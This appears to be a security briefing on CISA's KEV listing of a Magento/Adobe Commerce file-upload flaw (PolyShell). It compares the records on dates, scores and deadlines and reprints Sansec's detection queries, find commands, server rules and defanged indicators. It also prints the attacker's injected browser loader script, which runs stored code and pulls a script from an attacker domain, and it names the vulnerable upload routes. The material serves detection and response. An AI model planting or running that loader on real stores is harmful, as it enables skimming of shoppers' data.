CISA lists Adobe Commerce and Magento CVE-2026-48356 as exploited, 105 days after Adobe's July patch

105 days from Adobe's fix to CISA's list, and what that does not show

The US Cybersecurity and Infrastructure Security Agency (CISA) Known Exploited Vulnerabilities (KEV) catalogue, version 2026.10.27, released at 19:00:02 UTC on Tuesday 27 October 2026, lists CVE-2026-48356 in Adobe Commerce and Magento. Adobe published the fix for that CVE in security bulletin APSB26-73 on 14 July 2026. That is 105 days from fix to listing (derived). The entry's due date is 10 November 2026, 14 days after it was added (derived).

What that does not establish. The entry does not say who exploited the flaw, against whom, how often, or since when. Its ransomware field reads "Unknown". Adobe's bulletin, last updated on 11 August 2026 and read again on 27 October, still says Adobe "is not aware of any exploits in the wild" for the issues it addresses. The only exploitation reports this briefing read in full come from Sansec, a Dutch ecommerce security firm that sells a web application firewall and a store scanner, and CISA's own data for the CVE cites two Sansec pages. Sansec dates the first attacks to 19 March 2026. That is 222 days (derived) before the listing, and it rests on Sansec alone.

This briefing reads the primary records: the KEV feed, the CVE record and the National Vulnerability Database (NVD) record, Adobe's bulletin page, CISA's Binding Operational Directive (BOD) 26-04 and its implementation guidance, and three research pages by Sansec. Everything was read between 21:31 and 21:44 GMT on 27 October 2026, hours after the listing, and either record could change. Day counts are this site's arithmetic and are labelled derived. Two checks come from this site's earlier work. The briefing on Adobe's 13 October bulletins never mentions this id, because it belongs to the July bulletin, so this is not a new patch. And the briefing on a KEV entry that described the wrong flaw is why section 3 compares the entry with the CVE record. This entry names the right class of flaw, with a caveat on its impact wording.

The KEV entry, field by field, and what it leaves out

The table sets what the KEV entry prints against what it does not. "Not stated" means not found in the entry as fetched from CISA's JSON feed. It does not mean the information does not exist. CISA's interest is to move agencies and the public to act, and the KEV is a list of vulnerabilities it has evidence were exploited. The evidence itself is not published in the entry.

Does the entry describe the right flaw? The brief 106 check

In brief 106 the KEV name and description described a different class of flaw from the CWE and from the pages the entry linked. Here the name, the CWE and the bulletin agree on the class: unrestricted upload of a file with a dangerous type, CWE-434. The wording about impact is where the records part company. The table sets five sources side by side.

Three differences matter. First, the user interaction wording. The CVE record and the KEV text describe an attack that needs a victim to click or visit something and that acts in the victim's context. Sansec describes unauthenticated uploads of executable files straight to the server. Both may be true of different consequences of one flaw, since Sansec itself separates stored cross site scripting from code execution by server configuration, but this briefing cannot tell from the records which behaviour CISA saw exploited. The entry does not say.

Second, the score. Adobe's own bulletin says 9.6 with a low availability impact (A:L). Adobe's CVE record and the NVD say 9.3 with none (A:N). This site recomputed both from the CVSS 3.1 formula: the vector with A:L gives 9.6 and the vector with A:N gives 9.3 (derived). Each number is right for its own vector, and the two differ in one metric. The bulletin was last updated on 11 August and the CVE record was last updated by Adobe on 27 August (derived from the record's dates), so the CVE record is the later of the two, but neither page says which score Adobe now stands behind.

Third, the versions. Adobe's bulletin lists 2.4.9 among the affected versions and gives 2.4.9-2026-jul as the fixed one. Sansec's advisory says Adobe released Magento 2.4.9 with the fix on 12 May and did not backport it. The article follows the vendor's page. The KEV product name also folds four products into one, "Commerce and Magento", and the CVE record lists Adobe Commerce, Adobe Commerce B2B, Magento Open Source and Adobe Commerce Events.

Who says it was exploited, and what they saw

CISA's entry stops at the listing. Its separate data in the CVE record, a CISA Coordinator record in the SSVC (Stakeholder Specific Vulnerability Categorization) format, timestamped 2026-10-27T19:53:15Z, reads: exploitation active, automatable no, technical impact total. That record's references are the KEV catalogue page and two Sansec pages. So the public evidence chain is: CISA says active, and points at Sansec.

Sansec's interest is plain: it sells Sansec Shield, a web application firewall, and eComscan, a store scanner, and each page recommends them. That does not make the findings wrong. It means the telemetry is one vendor's, from its own customers and crawler, and this briefing could not check it independently.

One of Sansec's own figures is not consistent on its page. The advisory's opening says attacks were observed on 79.5% of "all stores", while the body says Sansec Shield blocked attempts against 79.5% of "all protected Magento stores". The second reading is the narrower one and the one this briefing would rely on, and it is a share of Sansec's customers, not of Magento stores worldwide.

A web search also found trade press coverage of PolyShell from March 2026. This briefing did not read those articles in full, did not check whether any of them holds evidence independent of Sansec, and does not cite them. Coverage from March also predates the CVE id, so it cannot settle whether the flaw CISA lists is the one reported.

The Adobe bulletin's acknowledgements list thanks researchers by CVE id. CVE-2026-48356 is not among the ids listed, and the bulletin never uses the name PolyShell. The CVE record marks the discovery source as external. Who reported the flaw to Adobe, and when, is not stated in anything read.

The clocks: 105 days from the fix, 222 from the first reported attack

Zoom

Only the first row uses nothing but Adobe's and CISA's own records. The second and third rows use Sansec's date. None of the records says when CISA first knew, so the 105 days is the time to a listing, not the time anyone was exposed. If Sansec's account is right, a store that waited for Adobe's July bulletin had been under reported attack for 117 days (derived), and a store that waited for the listing for 222.

The 10 November deadline: who it binds, and the table behind it

BOD 26-04, issued on 10 June 2026, is "a compulsory direction to federal, executive branch, departments, and agencies", and unless a contract says otherwise it does not apply to contractors. So the 10 November date is a duty for US federal civilian agencies only. Every other organisation is free to treat it as a benchmark and is not bound by it.

The entry carries a due date of 14 days. The directive's Table 1, reproduced below as CISA published it, sets the clock from four facts: whether the asset is publicly exposed, whether the CVE is in the KEV, whether an adversary can automate the exploit, and the technical impact. CISA's data for this CVE is in the KEV, not automatable, total control. For a publicly exposed asset that reads as row 3: three days and a forensic triage. For an asset that is not publicly exposed it reads as row 11: 14 days. The entry's 10 November matches row 11.

Zoom

Zoom

So the 10 November date is the case where CISA has no evidence that a federal asset is exposed. CISA's guidance says it sets the KEV due date from the evidence it has of public exposure, and that "the final determination for asset exposure is determined by the agency". An internet facing Commerce storefront is the case row 3 describes, three days, which is 30 October (derived), with a forensic triage. The entry's own forensic triage field says "No". One more wrinkle: the directive's Phase III, "within 180 days of issuance", is where it asks agencies to meet Table 1, and 180 days from 10 June is 7 December 2026 (derived). This briefing does not settle from the text whether the three day row binds today. It does show that the one date in the entry is not the only one a federal operator of an exposed store has to ask about.

What the attack is, as Sansec describes it, and the labels that do a control's work

Sansec named this flaw PolyShell. It says Magento's REST API accepts a file upload as part of a cart item's custom options, writes it under pub/media/custom_options/quote/, and does not check the option id, the option type or the file extension. The only check, Sansec says, is an image header test that a polyglot file, one that is both a valid image and PHP, passes. The guest cart routes need no login. Whether an uploaded PHP file runs depends on the web server configuration, which varies by host. After code execution Sansec describes a backdoor called accesson.php sprayed across many folders, then a script injected into the store's CMS blocks that runs in shoppers' browsers. The figure follows Sansec's account. It has not been independently confirmed here.

Zoom

A short check of the labels in play. Each looks like a control, and none is one.

Technical details

The primary records print version strings, scores and the entry's own fields. Sansec, the only source of attack detail, prints a detection query, two sets of find commands, web server rules, a list of backdoor paths and indicators. Everything below is copied from the saved pages, with live domains defanged by this site (hxxps and [.]). Neither Adobe nor CISA prints an indicator, a detection rule or a configuration. No exploit code is shown.

Adobe's affected and fixed strings, from the CVE record. They matter because a version label such as 2.4.9 appears in both lists: the first is affected, the second is the fixed patch line. A defender compares the patch level of every instance with these strings.

Adobe Commerce
  affected, up to and including: 2.4.9, 2.4.8-p5, 2.4.7-p10, 2.4.6-p15, 2.4.5-p17, 2.4.4-p18
  fixed (unaffected): 2.4.9-2026-jul, 2.4.8-2026-jul, 2.4.7-2026-jul, 2.4.6-2026-jul, 2.4.5-2026-jul, 2.4.4-2026-jul
Adobe Commerce B2B
  affected, up to and including: 1.5.3, 1.5.2-p5, 1.4.2-p10, 1.3.4-p17, 1.3.3-p18
  fixed (unaffected): 1.5.3-2026-jul, 1.5.2-2026-jul, 1.4.2-2026-jul, 1.3.4-2026-jul, 1.3.3-2026-jul
Magento Open Source
  affected, up to and including: 2.4.9, 2.4.8-p5, 2.4.7-p10, 2.4.6-p15
  fixed (unaffected): 2.4.9-2026-jul, 2.4.8-2026-jul, 2.4.7-2026-jul, 2.4.6-2026-jul
Adobe Commerce Events
  affected, up to and including: 1.20.0
  fixed (unaffected): 1.21.0

The KEV entry's own fields, one per line, with the long required action text left out (it is quoted in section 2). This is what an asset tool or an agency ingests.

cveID: CVE-2026-48356
vendorProject: Adobe
product: Commerce and Magento
vulnerabilityName: Adobe Commerce and Magento Unrestricted Upload of File with Dangerous Type Vulnerability
dateAdded: 2026-10-27
dueDate: 2026-11-10
knownRansomwareCampaignUse: Unknown
forensicTriage: No
cwes: CWE-434
notes: https://www.adobe.com/trust/security/products/commerce/apsb26-73.html ; ; BOD 26-04: https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk ; Forensics Triage Requirements: https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk ; https://nvd.nist.gov/vuln/detail/CVE-2026-48356
shortDescription: Adobe Commerce and Magento contain an unrestricted upload of file with dangerous type vulnerability that could result in arbitrary code execution in the context of the current user, potentially gaining elevated access or control over the victim's account or session.

Sansec's detection query for the CMS blocks, from its page of 24 October. It looks for the loader's key name and referrer parameter in the store's static blocks. Run the same query on the cms_page table, add a table prefix if the store uses one, and read update_time as the time of the attacker's most recent write. Sansec says deleting the script does not remove the attacker's access to the database.

SELECT block_id, identifier, update_time FROM cms_block
WHERE content LIKE '%fpCode%' OR content LIKE '%se_referrer%'
   OR content LIKE '%localStorage.getItem%';

Sansec's file system searches, from the same page. The first lists files in the two upload directories other than the access control file. The second finds copies of the backdoor. Any PHP, phtml or phar file in custom_options is a strong indicator, Sansec says.

find pub/media/custom_options/ pub/media/customer_address/ -type f ! -name '.htaccess'
find . -name 'accesson.php' -type f

The paths where Sansec says accesson.php was found on a single compromised store (advisory of 17 March 2026). The pattern is an assets/images folder created inside each top level folder the attacker could write to, so a search by file name across the whole document root is the quickest check.

var/assets/images/accesson.php
bamboo-specs/assets/images/accesson.php
lib/assets/images/accesson.php
app/assets/images/accesson.php
vendor/assets/images/accesson.php
pub/assets/images/accesson.php
bin/assets/images/accesson.php
setup/assets/images/accesson.php
generated/assets/images/accesson.php
phpserver/assets/images/accesson.php

Web server rules from Sansec's advisory of 17 March 2026, written when it said no official patch existed for production versions. They limit what an uploaded file can do. Sansec says blocking web access to the upload directory does not prevent uploads: only a firewall rule that blocks the API call itself stops the attack. Apply the rules to the web server in front of the store, after the Nginx rule placement note below the block.

location ~* ^/pub/media/custom_options/ {
    deny all;
    return 403;
}

<IfModule mod_php.c>
    php_flag engine 0
</IfModule>
Deny from all

The loader script as printed by Sansec on 24 October, with the domain defanged. Sansec explains that the first script reads a value named fpCode from the visitor's localStorage and runs it as an event handler, so a visitor who received a payload once runs it again on later page views even if the domain is offline. The second tag loads the loader from a domain. Search the CMS for these strings, and for the base64 encoded domains Sansec lists below.

<script>!function(){try{var c=localStorage.getItem("fpCode");if(c){var e=document.createElement("div");e.setAttribute("onclick",c);document.documentElement.appendChild(e);e.click();e.remove()}}catch(e){}}();</script>
<script src="hxxps://deepveindrilling[.]com/?s=d35c5031"></script>

Indicators of compromise from the same page (24 October 2026), defanged by this site. The domains are Sansec's list for one operator's campaign, not a CISA list. The Keitaro URLs are a commercial ad tracker's traffic distribution endpoints that Sansec says the operator used before October. Treat any request from a store page to these hosts as a lead to investigate, not as proof of this CVE.

Loader URL: hxxps://deepveindrilling[.]com/?s=d35c5031
Loader URL: hxxps://deepveindrilling[.]com/?s=49b7ca5f&fp=
Keitaro URL: hxxps://additionalver[.]com/Mb2z8J
Keitaro URL: hxxps://lanhd6549tdhse[.]top/KZtBscgb
Keitaro URL: hxxps://neswnsssn[.]click/PKgJDPfF
Keitaro URL: hxxps://manulfie[.]click/GKTD8cBz
Keitaro URL: hxxps://hdfdsi84j3h[.]top/sFnnPFHm
Keitaro URL: hxxps://c85grt98sd[.]com/1kYrdH
Payload URL: hxxps://leqdger[.]click/ssl/
Payload URL: hxxps://crypto-insider[.]top/ssl/
Keitaro decoy: QWE=123;
Base64 string: aHR0cHM6Ly9hZGRpdGlvbmFsdmVyLmNvbS9NYjJ6OEo/JnNlX3JlZmVycmVyPQ==
localStorage key: fpCode, 136c1e07507f4a97, 136c1e07507f4a98
Database location: cms_block.content

The Sansec advisory also names the two REST routes it calls the most dangerous and says GraphQL mutations use a different code path and are not vulnerable. A defender can look for POST and PUT requests to these routes in web server and WAF logs, and for unexpected files under pub/media/custom_options/quote/.

POST /V1/guest-carts/:cartId/items
PUT  /V1/guest-carts/:cartId/items/:itemId

Scores as printed. They differ in the availability metric, and the bulletin and the CVE record disagree (section 3).

Adobe bulletin APSB26-73, CVE-2026-48356:
  CVSS base score: 9.6
  CVSS vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:L
CVE record (assigner Adobe) and NVD:
  baseScore: 9.3
  vectorString: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N

What to do, in order

The order matters. Finding what you run comes first because every later step depends on it, and cleaning comes before relaxing because a patch does not remove what an attacker already planted.

The question this leaves

Adobe's bulletin was last updated 77 days before the listing and was still saying it knew of no exploits on the evening of the listing. Sansec says the attacks began 222 days before it. Whichever date is right, the exposing question is the same for the person who runs the store: if a script that nobody on your team wrote were sitting in your store's CMS blocks tonight, which log or query would show you, and since when?

Key facts